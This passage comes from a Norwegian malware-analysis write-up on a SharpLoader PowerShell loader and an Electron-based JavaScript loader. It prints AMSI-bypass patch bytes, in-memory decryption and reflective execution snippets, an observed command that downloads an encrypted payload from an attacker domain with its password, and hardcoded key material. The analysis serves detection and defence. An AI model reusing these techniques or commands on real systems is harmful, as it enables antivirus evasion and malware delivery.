instruksjoner:",[604,2139,2140,2149],{},[607,2141,2142,2145,2146],{},[551,2143,2144],{},"mov eax, 0x80070057"," → setter returkoden til Windows-feilkoden ",[551,2147,2148],{},"E_INVALIDARG",[607,2150,2151,2154],{},[551,2152,2153],{},"ret"," → returnerer umiddelbart fra funksjonen",[533,2156,2157,2158,2160],{},"I praksis gjør dette at ",[551,2159,2031],{}," feiler stille og returnerer et ikke-deteksjonsresultat, slik at AMSI-sjekkene nøytraliseres. Malwaren kan nå kjøre skript eller .NET-kode som ellers ville utløst antivirusvarsler.",[533,2162,2163],{},"Kjøres koden på et 32-bits system, brukes en annen patch:",[588,2165,2167],{"className":2050,"code":2166,"language":2052,"meta":594,"style":594},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[551,2168,2169],{"__ignoreMap":594},[1683,2170,2171],{"class":1685,"line":1686},[1683,2172,2166],{},[533,2174,2175],{},"Den har samme mål, å tvinge frem et rent resultat, men er tilpasset x86-kallkonvensjonen.",[533,2177,2178,2179,620,2182,558,2185,2188],{},"Bruk av rå P/Invoke-kall som ",[551,2180,2181],{},"LoadLibrary",[551,2183,2184],{},"GetProcAddress",[551,2186,2187],{},"VirtualProtect"," gjør at patchingen kan skje dynamisk og uten å kalle høynivå-API-er som EDR-verktøy kan overvåke. Metoden er kompakt, effektiv og etterlater minimalt med forensiske artefakter.",[533,2190,2191,2192,2195],{},"Kort sagt er denne AMSI-bypass-teknikken et ",[540,2193,2194],{},"lavnivåangrep rettet direkte mot antivirusgrensesnittet i minnet",", gjennomført på millisekunder under kjøring. Det er et slående eksempel på hvorfor atferdsovervåking og minneinspeksjon er avgjørende i moderne endpoint-forsvar.",[714,2197,2199],{"id":2198},"_43-håndtering-av-stage-2-payloaden","4.3 Håndtering av stage 2-payloaden",[533,2201,720],{},[533,2203,2204,2205,586],{},"Når AMSI-bypassen er ferdig, går loaderen videre med å hente og klargjøre payloaden i andre trinn. Denne payloaden ligger ikke innebygd i loaderen selv, men hentes enten fra en ekstern server eller leses fra disk, avhengig av hvordan loaderen kalles via parameteren ",[551,2206,2207],{},"$location",[533,2209,2210,2211,2214,2215,2218,2219,2222,2223,2226,2227,586],{},"Begynner plasseringen med ",[551,2212,2213],{},"http",", tolkes den som en URL, og loaderen bruker ",[551,2216,2217],{},"Get_Stage2()"," til å laste ned payloaden via ",[551,2220,2221],{},"HttpWebRequest",". Er det en lokal sti, leser ",[551,2224,2225],{},"Get_Stage2disk()"," innholdet direkte fra filsystemet. I begge tilfeller er det forventede filinnholdet en blob som er ",[540,2228,2229],{},"Base64-kodet, GZip-komprimert og AES-kryptert",[533,2231,2232,2233,2236],{},"Loaderen kjører deretter en ",[540,2234,2235],{},"firetrinns pipeline for dekoding og dekryptering",", i sin helhet i minnet:",[2082,2238,2239,2245,2255,2265],{},[607,2240,2241,2244],{},[540,2242,2243],{},"Base64-dekoding",": Gjør den kodede strengen om til rå bytes. Steget skal skjule det faktiske binærinnholdet for verktøy som gjør statisk inspeksjon, og hindrer enkel mønstergjenkjenning.",[607,2246,2247,2250,2251,2254],{},[540,2248,2249],{},"GZip-dekomprimering",": De dekodede bytene sendes til en ",[551,2252,2253],{},"GZipStream",", som pakker ut payloaden. Komprimeringen reduserer filstørrelsen og legger til enda et obfuskeringslag.",[607,2256,2257,2260,2261,2264],{},[540,2258,2259],{},"AES-dekryptering",": De komprimerte bytene dekrypteres med AES (Rijndael) i CBC-modus. Nøkkelen utledes ved kjøring fra passordet brukeren oppgir, via SHA-256-hashing kombinert med PBKDF2 (",[551,2262,2263],{},"Rfc2898DeriveBytes",") og et statisk salt.",[607,2266,2267,2270],{},[540,2268,2269],{},"Fjerning av salt",": Det dekrypterte resultatet inneholder fortsatt et salt-prefiks med fast lengde (4 bytes). Disse bytene fjernes manuelt for å få den rene binære bloben som utgjør en gyldig .NET-assembly.",[533,2272,2273],{},"Dekrypteringspipelinen kjøres slik:",[588,2275,2277],{"className":2050,"code":2276,"language":2052,"meta":594,"style":594},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[551,2278,2279,2284],{"__ignoreMap":594},[1683,2280,2281],{"class":1685,"line":1686},[1683,2282,2283],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1683,2285,2286],{"class":1685,"line":2062},[1683,2287,2288],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[533,2290,2291,2292,2295],{},"Her er ",[551,2293,2294],{},"AES_Decrypt()"," en egenskrevet funksjon som pakker inn Rijndael-algoritmen, konfigurert med en 256-bits nøkkel og en 128-bits IV (initialiseringsvektor), begge utledet fra passordet.",[533,2297,2298],{},[540,2299,2300],{},"Sentrale designobservasjoner:",[604,2302,2303,2306,2309],{},[607,2304,2305],{},"Bruken av AES-CBC med PBKDF2 gjør det ikke-trivielt å brute force passordet.",[607,2307,2308],{},"Siden dekrypteringen skjer i minnet, skrives aldri mellomresultater til disk, noe som reduserer de forensiske artefaktene.",[607,2310,2311],{},"Oppgis feil passord, feiler dekrypteringen stille eller produserer ugyldige data, noe som kan gi mislykket kjøring eller unntak som er vanskelige å spore.",[533,2313,2314],{},"Kort sagt hever denne flertrinnshåndteringen av payloaden lista betraktelig for både signatur- og heuristikkbasert statisk deteksjon. Uten enten live kjøring eller grundig inspeksjon av loaderens atferd er det lite sannsynlig at forsvarere avdekker den innebygde payloaden uten også å kjenne passordet og den eksakte dekodingslogikken.",[714,2316,2318],{"id":2317},"_44-dynamisk-lasting-av-assembly","4.4 Dynamisk lasting av assembly",[533,2320,720],{},[533,2322,2323],{},"Når payloaden i andre trinn er dekryptert, utgjør byte-arrayen som kommer ut, en gyldig .NET-assembly. I stedet for å skrive denne assemblyen til disk, en velkjent indikator for antivirus- og EDR-systemer, kjører SharpLoader den direkte i minnet med reflection:",[588,2325,2327],{"className":2050,"code":2326,"language":2052,"meta":594,"style":594},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[551,2328,2329,2334],{"__ignoreMap":594},[1683,2330,2331],{"class":1685,"line":1686},[1683,2332,2333],{},"Assembly a = Assembly.Load(bin);\n",[1683,2335,2336],{"class":1685,"line":2062},[1683,2337,2338],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[533,2340,2341,2342,2345],{},"Teknikken kalles ",[540,2343,2344],{},"fileless execution",". Den er svært unnvikende fordi den:",[604,2347,2348,2351,2354],{},[607,2349,2350],{},"Unngår å røre disken og etterlater ingen filbaserte IOC-er (indicators of compromise)",[607,2352,2353],{},"Gjør tradisjonell forensisk innsamling vanskeligere, siden ingen binary lagres på disk",[607,2355,2356],{},"Unngår statisk signaturbasert deteksjon, siden AV-motorer ofte bygger på å skanne filer",[533,2358,2359,2360,1538,2363,2366],{},"Er ikke ",[551,2361,2362],{},"EntryPoint",[551,2364,2365],{},"static",", har loaderen en fallback-logikk:",[588,2368,2370],{"className":2050,"code":2369,"language":2052,"meta":594,"style":594},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[551,2371,2372,2377,2382,2387,2392,2398],{"__ignoreMap":594},[1683,2373,2374],{"class":1685,"line":1686},[1683,2375,2376],{},"MethodInfo method = a.EntryPoint;\n",[1683,2378,2379],{"class":1685,"line":2062},[1683,2380,2381],{},"if (method != null)\n",[1683,2383,2384],{"class":1685,"line":2068},[1683,2385,2386],{},"{\n",[1683,2388,2389],{"class":1685,"line":2074},[1683,2390,2391],{},"    object o = a.CreateInstance(method.Name);\n",[1683,2393,2395],{"class":1685,"line":2394},5,[1683,2396,2397],{},"    method.Invoke(o, null);\n",[1683,2399,2401],{"class":1685,"line":2400},6,[1683,2402,2403],{},"}\n",[533,2405,2406,2407,2410],{},"Det sikrer kompatibilitet med assemblies som krever et instansiert objekt for å kunne kjøre (for eksempel ",[551,2408,2409],{},"public int Main()"," inne i en klasseinstans). Koden oppretter dynamisk en instans av klassen og kaller deretter entry point-metoden.",[533,2412,2413],{},"Kombinert med AMSI-bypassen og in-memory-dekrypteringen leverer denne mekanismen den endelige payloaden til kjøring på en stillegående, helt filløs måte, et kjennetegn på moderne, unnvikende malware.",[714,2415,2417],{"id":2416},"_45-kommandolinjeparametere-og-fleksibilitet","4.5 Kommandolinjeparametere og fleksibilitet",[533,2419,720],{},[533,2421,2422,2423,2425],{},"PowerShell-funksjonen ",[551,2424,1891],{}," er laget for å fungere som en fleksibel wrapper for vilkårlige .NET-payloads. Den støtter dynamisk inndata for både payload-plassering og argumenter, slik at én og samme loader-instans kan gjenbrukes på tvers av flere operasjoner eller kampanjer.",[533,2427,2428],{},[540,2429,2430],{},"Støttede parametere:",[604,2432,2433,2439,2445,2465],{},[607,2434,2435,2438],{},[551,2436,2437],{},"-location"," (obligatorisk): Angir enten en URL eller en lokal filsti til den krypterte stage two-payloaden.",[607,2440,2441,2444],{},[551,2442,2443],{},"-password"," (obligatorisk): Brukes til å utlede AES-dekrypteringsnøkkelen.",[607,2446,2447,620,2450,620,2453,2456,2457,2460,2461,2464],{},[551,2448,2449],{},"-argument",[551,2451,2452],{},"-argument2",[551,2454,2455],{},"-argument3"," (valgfrie): Disse sendes direkte videre til ",[551,2458,2459],{},"Main()","-metoden i ",[551,2462,2463],{},".NET","-assemblyen via reflection.",[607,2466,2467,2470],{},[551,2468,2469],{},"-noArgs",": Utløser kjøring uten at noen parametere sendes til payloaden i andre trinn.",[533,2472,2473],{},"Internt samles argumentene inn og sendes videre slik:",[588,2475,2477],{"className":1677,"code":2476,"language":1679,"meta":594,"style":594},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[551,2478,2479,2484],{"__ignoreMap":594},[1683,2480,2481],{"class":1685,"line":1686},[1683,2482,2483],{},"object[] cmd = args.Skip(2).ToArray();\n",[1683,2485,2486],{"class":1685,"line":2062},[1683,2487,2488],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[533,2490,2491],{},"Det betyr at .NET-payloaden forventes å ha en signatur som:",[588,2493,2495],{"className":2050,"code":2494,"language":2052,"meta":594,"style":594},"static void Main(string[] args)\n",[551,2496,2497],{"__ignoreMap":594},[1683,2498,2499],{"class":1685,"line":1686},[1683,2500,2494],{},[533,2502,2503,2504,2506],{},"ellers faller den pent tilbake til den parameterløse ",[551,2505,2459],{},"-varianten via fallback-logikken. Denne atferden lar red teams eller malware-utviklere lage allsidige andretrinn som kan utføre ulike operasjoner avhengig av inndataene, for eksempel å starte en implant, samle inn systeminformasjon eller sette i gang C2-kommunikasjon.",[533,2508,2509],{},"Slik modularitet og konfigurerbarhet er sentrale egenskaper ved avanserte malware-rammeverk, og de illustrerer hvordan skriptbaserte loadere kan opptre som svært tilpasningsdyktige kjøringsmiljøer for payloads nedstrøms.",[714,2511,2513],{"id":2512},"_46-eksempel-på-bruk-i-praksis","4.6 Eksempel på bruk i praksis",[533,2515,720],{},[533,2517,2518],{},"For å vise hvordan SharpLoader kjøres i en virkelig kampanje, se på følgende kall som er observert i det fri:",[588,2520,2522],{"className":1677,"code":2521,"language":1679,"meta":594,"style":594},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[551,2523,2524],{"__ignoreMap":594},[1683,2525,2526],{"class":1685,"line":1686},[1683,2527,2521],{},[533,2529,2530],{},"Eksempelet illustrerer det typiske bruksmønsteret for SharpLoader:",[604,2532,2533,2547,2559,2569],{},[607,2534,2535,2538,2539,2542,2543,2546],{},[540,2536,2537],{},"Location-argument",": URL-en peker på en ekstern server som hoster ",[551,2540,2541],{},"calc.enc",", en skjult payload for andre trinn. Endepunktet ligger under en legitimt utseende ",[551,2544,2545],{},".well-known","-katalog, som ofte brukes til HTTPS-sertifikatvalidering, og det hjelper URL-en å gli inn i legitim webtrafikk.",[607,2548,2549,973,2552,2554,2555,2558],{},[540,2550,2551],{},"Payload-egenskaper",[551,2553,2541],{}," er en ",[540,2556,2557],{},"trippelobfuskert fil",", Base64-kodet, GZip-komprimert og AES-kryptert. Denne obfuskeringspipelinen gjør payloaden ugjennomtrengelig for de fleste deteksjonsmekanismer med mindre den kjøres og dekrypteres fullt ut i minnet.",[607,2560,2561,2564,2565,2568],{},[540,2562,2563],{},"Password-argument",": Strengen ",[551,2566,2567],{},"UwUFufu1"," brukes ved kjøring til å utlede AES-nøkkelen via SHA-256 og PBKDF2. Uten dette passordet kan payloaden ikke dekrypteres, noe som gjør offline-analyse uten kontekst nesten umulig.",[607,2570,2571,2574,2575,2577],{},[540,2572,2573],{},"Ingen ekstra argumenter",": Flagget ",[551,2576,2469],{}," angir at ingen kommandolinjeparametere sendes til den dekrypterte .NET-assemblyen, noe som utløser standard kjøringsvei.",[533,2579,2580,2581,2584],{},"Denne stillegående kallkjeden fanger kjerneformålet til SharpLoader: ",[540,2582,2583],{},"filløs, tilpasningsdyktig og sikker payload-leveranse"," gjennom enkel PowerShell-syntaks med maksimal obfuskering og unnvikelse.",[714,2586,2588],{"id":2587},"_47-oppsummering","4.7 Oppsummering",[533,2590,720],{},[533,2592,2593,2594,2596],{},"Konstruksjonen ",[551,2595,1891],{}," er et eksempel på en svært raffinert og unnvikende teknikk for malware-staging som utnytter innebygde systemkomponenter, reflection og kryptografi for å operere nesten utelukkende i minnet.",[533,2598,2599],{},[540,2600,2601],{},"Hovedpunkter:",[604,2603,2604,2613,2619,2625],{},[607,2605,2606,2609,2610,2612],{},[540,2607,2608],{},"Omgåelse av AMSI",": Direkte in-memory-patching av ",[551,2611,2031],{}," slår av antivirusinspeksjonen uten å kalle API-er som kan oppdages.",[607,2614,2615,2618],{},[540,2616,2617],{},"Sikker payload-håndtering",": Henting av krypterte og komprimerte stage two-payloads sikrer konfidensialitet og legger til flere lag med unnvikelse.",[607,2620,2621,2624],{},[540,2622,2623],{},"Kjøring bare i minnet",": Dekrypterte payloads skrives aldri til disk, noe som gjør deteksjon med tradisjonelle filbaserte skannere nesten umulig.",[607,2626,2627,2630],{},[540,2628,2629],{},"Modulær og gjenbrukbar arkitektur",": Gjennom PowerShell-parametere kan SharpLoader gjenbrukes fleksibelt på tvers av kampanjer med ulike payloads og ulik atferd ved kjøring.",[528,2632,2634,2635,2637],{"id":2633},"_5-deep-dive-mainexe-electron-basert-malware-loader","5. Deep Dive: ",[551,2636,578],{}," - Electron-basert malware loader",[533,2639,535],{},[533,2641,2642,2643,2645,2646,2649,2650,2652,2653,2655],{},"Under reverse engineering ble det klart at ",[551,2644,578],{},", som Microsoft Defender for Endpoint hadde flagget, ikke var en konvensjonell binary, men en ",[540,2647,2648],{},"Electron-basert malware loader",". Den ble levert inne i et arkiv ved navn ",[551,2651,1825],{},", som ",[551,2654,574],{}," lastet ned og pakket ut ved kjøring. Etter utpakking lignet strukturen og innholdet sterkt på en helt vanlig Electron-applikasjon.",[714,2657,2659],{"id":2658},"_51-å-kjenne-igjen-electron-strukturen","5.1 Å kjenne igjen Electron-strukturen",[533,2661,720],{},[533,2663,2664],{},"Den utpakkede mappen inneholdt filer som:",[604,2666,2667,2678,2686,2692],{},[607,2668,2669,620,2672,620,2675],{},[551,2670,2671],{},"chrome_100_percent.pak",[551,2673,2674],{},"v8_context_snapshot.bin",[551,2676,2677],{},"d3dcompiler_47.dll",[607,2679,2680,558,2683],{},[551,2681,2682],{},"LICENSES.chromium",[551,2684,2685],{},"LICENSES.electron",[607,2687,2688,2689,2691],{},"En stor ",[551,2690,578],{},"-binary (~150 MB)",[607,2693,2694,2695,2697,2698,2700,2701],{},"En ",[551,2696,1835],{},"-mappe med ",[551,2699,1047],{}," og en sekundær binary ",[551,2702,2703],{},"elevate.exe",[533,2705,2706],{},[748,2707],{"alt":2708,"src":2709},"Pakket Windows 64-bits versjon av skrivebordsappen","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[533,2711,2712,2713,2715],{},"Alt dette er sterke indikasjoner på en Electron-app, som bruker Chromium og Node.js til å pakke JavaScript-baserte skrivebordsapplikasjoner. At ",[551,2714,2703],{}," var til stede, en signert Microsoft-binary som ofte brukes til å eskalere rettigheter, vakte ytterligere mistanke: den kan misbrukes til å starte underprosesser med forhøyede rettigheter.",[714,2717,2719],{"id":2718},"_52-utpakking-og-statisk-analyse-deep-dive","5.2 Utpakking og statisk analyse (Deep Dive)",[533,2721,720],{},[533,2723,2724,2725,2727,2728,2730,2731,2733,2734,2736,2737,2740],{},"I stedet for å kjøre ",[551,2726,578],{}," valgte jeg statisk analyse for å unngå å utløse atferd i sanntid. Mistanken min om at ",[551,2729,578],{}," var bygget med Electron, ble bekreftet da jeg fant ",[551,2732,1047],{},"-filen inne i ",[551,2735,1835],{},"-katalogen. I Electron-apper inneholder dette arkivet all sentral applikasjonslogikk, som JavaScript-filer, konfigurasjon (",[551,2738,2739],{},"package.json",") og ressurser, pakket i et eget format av ytelses- og obfuskeringshensyn.",[533,2742,2743,2746,2747,2750],{},[551,2744,2745],{},".asar","-arkivet er i praksis en skrivebeskyttet, ytelsesoptimalisert container som ligner ",[551,2748,2749],{},".zip",", men er tilpasset Electrons runtime. Det er ikke kryptert, men det obfuskerer tilgangen til koden og gjør statisk analyse vanskeligere så lenge det ikke pakkes ut.",[533,2752,2753,2754,2757],{},"For å pakke det ut brukte jeg det offisielle ",[551,2755,2756],{},"asar","-verktøyet fra npm. Stegene var:",[588,2759,2763],{"className":2760,"code":2761,"language":2762,"meta":594,"style":594},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[551,2764,2765,2782],{"__ignoreMap":594},[1683,2766,2767,2771,2775,2779],{"class":1685,"line":1686},[1683,2768,2770],{"class":2769},"sScJk","npm",[1683,2772,2774],{"class":2773},"sZZnC"," install",[1683,2776,2778],{"class":2777},"sj4cs"," -g",[1683,2780,2781],{"class":2773}," asar\n",[1683,2783,2784,2786,2789,2792],{"class":1685,"line":2062},[1683,2785,2756],{"class":2769},[1683,2787,2788],{"class":2773}," extract",[1683,2790,2791],{"class":2773}," app.asar",[1683,2793,2794],{"class":2773}," extracted_app\n",[533,2796,2797,2798,2801],{},"Kommandoene over pakket innholdet ut til en arbeidsmappe (",[551,2799,2800],{},"extracted_app/","), som avdekket den faktiske JavaScript-applikasjonskoden. Den besto av:",[604,2803,2804,2825,2833],{},[607,2805,2806,620,2809,620,2812,2815,2816,2818,2819,2821,2822,2824],{},[551,2807,2808],{},"jscryter.js",[551,2810,2811],{},"input.js",[551,2813,2814],{},"obf.js",": Disse skriptene utgjør malware-logikken. ",[551,2817,2808],{}," ser ut til å orkestrere payload-leveransen, ",[551,2820,2811],{}," definerer konfigurasjonskonstanter eller kommandologikk, og ",[551,2823,2814],{}," er et kraftig obfuskert skript som sannsynligvis inneholder kjernelogikken i payloaden.",[607,2826,2827,620,2829,2832],{},[551,2828,2739],{},[551,2830,2831],{},"package-lock.json",": Definerer runtime-miljøet",[607,2834,2835,2838,2839,620,2842,620,2845],{},[551,2836,2837],{},"node_modules/",": Inneholder alle avhengigheter som ",[551,2840,2841],{},"axios",[551,2843,2844],{},"adm-zip",[551,2846,2847],{},"child_process",[533,2849,2850,2851,2853,2854,586],{},"Det utpakkede innholdet ga full innsikt i logikken til malwaren uten at den måtte kjøres, noe som var avgjørende for trygg reverse engineering. Dette steget bekreftet at ",[551,2852,578],{}," utelukkende var en runtime-wrapper for de skadelige skriptene som lå skjult inne i ",[551,2855,1047],{},[714,2857,2859],{"id":2858},"_53-hva-den-statiske-analysen-avdekket","5.3. Hva den statiske analysen avdekket",[533,2861,720],{},[533,2863,2864],{},"Ved å inspisere koden manuelt bekreftet jeg at malware-logikken var helt JavaScript-basert og kjørte innenfor Electron-runtimen. Skriptene var laget for å:",[604,2866,2867,2874,2879,2882],{},[607,2868,2869,2870,2873],{},"Laste ned en kryptert payload (",[551,2871,2872],{},"pyth.zip",") fra fallback-URL-er",[607,2875,2876,2877],{},"Pakke ut arkivet med ",[551,2878,2844],{},[607,2880,2881],{},"Gjøre strengerstatning for å injisere bestemte credentials eller lommebokadresser",[607,2883,2884,2885,2887,2888,558,2891],{},"Starte den resulterende Python-filen (",[551,2886,582],{},") via ",[551,2889,2890],{},"child_process.exec()",[551,2892,553],{},[533,2894,2895,2896,2902],{},"Vel så viktig: loaderen inneholdt også logikk for å ",[540,2897,2898,2899,2901],{},"kopiere ",[551,2900,574],{}," til brukerens AppData-katalog"," dersom den ikke allerede lå der, noe som forsterket persistensen og holdt infeksjonsløkken i gang.",[528,2904,2906,2907,2909],{"id":2905},"_6-deep-dive-inputjs-den-krypterte-javascript-payload-loaderen","6. Deep Dive: ",[551,2908,2811],{}," - den krypterte JavaScript-payload-loaderen",[533,2911,535],{},[533,2913,2914,2916],{},[551,2915,2811],{}," er en sentral komponent i malware-kjeden vi analyserte, og fungerer som nav for dekryptering og kjøring av en kryptert JavaScript-payload. Skriptet skjuler kjernefunksjonaliteten sin bak et sterkt krypteringslag og viser først atferden sin under kjøring.",[714,2918,2920],{"id":2919},"_61-krypterings-og-dekrypteringsmekanikk","6.1 Krypterings- og dekrypteringsmekanikk",[533,2922,720],{},[533,2924,2925,2926,2928],{},"Ved første øyekast inneholder ",[551,2927,2811],{}," svært lite lesbar kode. Hovedformålet er likevel å dekryptere og kjøre en stor obfuskert JavaScript-blob som ligger lagret inne i skriptet selv.",[862,2930,2932],{"id":2931},"_611-dekrypteringslogikk","6.1.1 Dekrypteringslogikk",[533,2934,868],{},[533,2936,2937,2938,2941],{},"Skriptet definerer en ",[551,2939,2940],{},"decrypt()","-funksjon som tar fire parametere:",[604,2943,2944,2950,2956,2962],{},[607,2945,2946,2949],{},[551,2947,2948],{},"encdata",": De krypterte Base64-kodede dataene",[607,2951,2952,2955],{},[551,2953,2954],{},"masterkey",": En passphrase i klartekst",[607,2957,2958,2961],{},[551,2959,2960],{},"salt",": Et kryptografisk salt (Base64)",[607,2963,2964,2967],{},[551,2965,2966],{},"iv",": Initialiseringsvektoren for AES-dekryptering (Base64)",[533,2969,2970,2971,2974],{},"Dekrypteringen er implementert med den innebygde ",[551,2972,2973],{},"crypto","-modulen i Node.js. Den går slik:",[2082,2976,2977,3088,3201],{},[607,2978,2979,2982,2983,3062],{},[540,2980,2981],{},"Key Derivation:","\nSkriptet utleder en 256-bits symmetrisk nøkkel med PBKDF2 (Password-Based Key Derivation Function 2):",[588,2984,2988],{"className":2985,"code":2986,"language":2987,"meta":594,"style":594},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[551,2989,2990,3012,3017,3034,3042,3049,3056],{"__ignoreMap":594},[1683,2991,2992,2996,2999,3002,3006,3009],{"class":1685,"line":1686},[1683,2993,2995],{"class":2994},"szBVR","const",[1683,2997,2998],{"class":2777}," key",[1683,3000,3001],{"class":2994}," =",[1683,3003,3005],{"class":3004},"sVt8B"," crypto.",[1683,3007,3008],{"class":2769},"pbkdf2Sync",[1683,3010,3011],{"class":3004},"(\n",[1683,3013,3014],{"class":1685,"line":2062},[1683,3015,3016],{"class":3004},"  masterkey,\n",[1683,3018,3019,3022,3025,3028,3031],{"class":1685,"line":2068},[1683,3020,3021],{"class":3004},"  Buffer.",[1683,3023,3024],{"class":2769},"from",[1683,3026,3027],{"class":3004},"(salt, ",[1683,3029,3030],{"class":2773},"\"base64\"",[1683,3032,3033],{"class":3004},"),\n",[1683,3035,3036,3039],{"class":1685,"line":2074},[1683,3037,3038],{"class":2777},"  100000",[1683,3040,3041],{"class":3004},",\n",[1683,3043,3044,3047],{"class":1685,"line":2394},[1683,3045,3046],{"class":2777},"  32",[1683,3048,3041],{"class":3004},[1683,3050,3051,3054],{"class":1685,"line":2400},[1683,3052,3053],{"class":2773},"  \"sha512\"",[1683,3055,3041],{"class":3004},[1683,3057,3059],{"class":1685,"line":3058},7,[1683,3060,3061],{"class":3004},");\n",[604,3063,3064,3070,3076,3082],{},[607,3065,3066,3069],{},[540,3067,3068],{},"Hash function:"," SHA-512",[607,3071,3072,3075],{},[540,3073,3074],{},"Iterations:"," 100,000",[607,3077,3078,3081],{},[540,3079,3080],{},"Key length:"," 32 bytes (256 bits)",[607,3083,3084,3087],{},[540,3085,3086],{},"Salt:"," Oppgis som Base64-dekodet inndata",[607,3089,3090,3093,3094,3144,3146,3147],{},[540,3091,3092],{},"AES-256-CBC Decryption:","\nDen utledede nøkkelen brukes deretter til å opprette et AES-decipher-objekt:",[588,3095,3097],{"className":2985,"code":3096,"language":2987,"meta":594,"style":594},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[551,3098,3099,3115,3122,3127,3140],{"__ignoreMap":594},[1683,3100,3101,3103,3106,3108,3110,3113],{"class":1685,"line":1686},[1683,3102,2995],{"class":2994},[1683,3104,3105],{"class":2777}," decipher",[1683,3107,3001],{"class":2994},[1683,3109,3005],{"class":3004},[1683,3111,3112],{"class":2769},"createDecipheriv",[1683,3114,3011],{"class":3004},[1683,3116,3117,3120],{"class":1685,"line":2062},[1683,3118,3119],{"class":2773},"  \"aes-256-cbc\"",[1683,3121,3041],{"class":3004},[1683,3123,3124],{"class":1685,"line":2068},[1683,3125,3126],{"class":3004},"  key,\n",[1683,3128,3129,3131,3133,3136,3138],{"class":1685,"line":2074},[1683,3130,3021],{"class":3004},[1683,3132,3024],{"class":2769},[1683,3134,3135],{"class":3004},"(iv, ",[1683,3137,3030],{"class":2773},[1683,3139,3033],{"class":3004},[1683,3141,3142],{"class":1685,"line":2394},[1683,3143,3061],{"class":3004},[698,3145],{},"Den krypterte payloaden dekrypteres med standard CBC-modus (Cipher Block Chaining):",[588,3148,3150],{"className":2985,"code":3149,"language":2987,"meta":594,"style":594},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[551,3151,3152,3181],{"__ignoreMap":594},[1683,3153,3154,3157,3160,3163,3166,3169,3172,3174,3176,3179],{"class":1685,"line":1686},[1683,3155,3156],{"class":2994},"let",[1683,3158,3159],{"class":3004}," decrypted ",[1683,3161,3162],{"class":2994},"=",[1683,3164,3165],{"class":3004}," decipher.",[1683,3167,3168],{"class":2769},"update",[1683,3170,3171],{"class":3004},"(encdata, ",[1683,3173,3030],{"class":2773},[1683,3175,620],{"class":3004},[1683,3177,3178],{"class":2773},"\"utf8\"",[1683,3180,3061],{"class":3004},[1683,3182,3183,3186,3189,3191,3194,3197,3199],{"class":1685,"line":2062},[1683,3184,3185],{"class":3004},"decrypted ",[1683,3187,3188],{"class":2994},"+=",[1683,3190,3165],{"class":3004},[1683,3192,3193],{"class":2769},"final",[1683,3195,3196],{"class":3004},"(",[1683,3198,3178],{"class":2773},[1683,3200,3061],{"class":3004},[607,3202,3203,3206,3207,3210,3211,3232,3234],{},[540,3204,3205],{},"Dynamic Execution:","\nDen dekrypterte JavaScript-koden skrives aldri til disk. I stedet kjøres den dynamisk i minnet via ",[551,3208,3209],{},"Function","-konstruktøren:",[588,3212,3214],{"className":2985,"code":3213,"language":2987,"meta":594,"style":594},"new Function(\"require\", decrypted)(require);\n",[551,3215,3216],{"__ignoreMap":594},[1683,3217,3218,3221,3224,3226,3229],{"class":1685,"line":1686},[1683,3219,3220],{"class":2994},"new",[1683,3222,3223],{"class":2769}," Function",[1683,3225,3196],{"class":3004},[1683,3227,3228],{"class":2773},"\"require\"",[1683,3230,3231],{"class":3004},", decrypted)(require);\n",[698,3233],{},"Teknikken muliggjør filløs kjøring og reduserer sjansen for å bli oppdaget av tradisjonelle antivirusmotorer som bygger på diskbasert skanning.",[533,3236,3237],{},"Denne tilnærmingen viser et lagdelt forsvar mot reverse engineering ved å kombinere key derivation, sterk kryptering og dynamisk kjøring i minnet.",[533,3239,3240],{},[540,3241,3242],{},"Key Material and Encrypted Data",[533,3244,3245],{},"Skriptet inneholder følgende hardkodede inndata:",[604,3247,3248,3254,3262,3270],{},[607,3249,3250,3253],{},[540,3251,3252],{},"Encrypted Data:"," En enorm Base64-kodet blob",[607,3255,3256,1538,3259],{},[540,3257,3258],{},"Master Key:",[551,3260,3261],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[607,3263,3264,1538,3266,3269],{},[540,3265,3086],{},[551,3267,3268],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-kodet)",[607,3271,3272,1538,3275,3269],{},[540,3273,3274],{},"IV:",[551,3276,3277],{},"HwK6sOz7FBbL+YsrOxtYUg==",[533,3279,3280,3281,586],{},"Alt dette ligger innebygd direkte i kildekoden til ",[551,3282,2811],{},[714,3284,3286],{"id":3285},"_62-payload-atferd-etter-dekryptering","6.2 Payload-atferd etter dekryptering",[533,3288,720],{},[533,3290,3291],{},"Når den er dekryptert, blir den innebygde payloaden et fullverdig JavaScript-program som utfører følgende skadelige handlinger:",[862,3293,3295],{"id":3294},"_621-klargjøring-av-miljøet","6.2.1 Klargjøring av miljøet",[533,3297,868],{},[533,3299,3300],{},"Den dekrypterte payloaden starter med å sette opp kjøringsmiljøet sitt ved hjelp av innebygde Node.js-moduler. Denne oppsettsfasen sørger for at alle nødvendige stier og arbeidskataloger er tydelig definert før noe skadelig 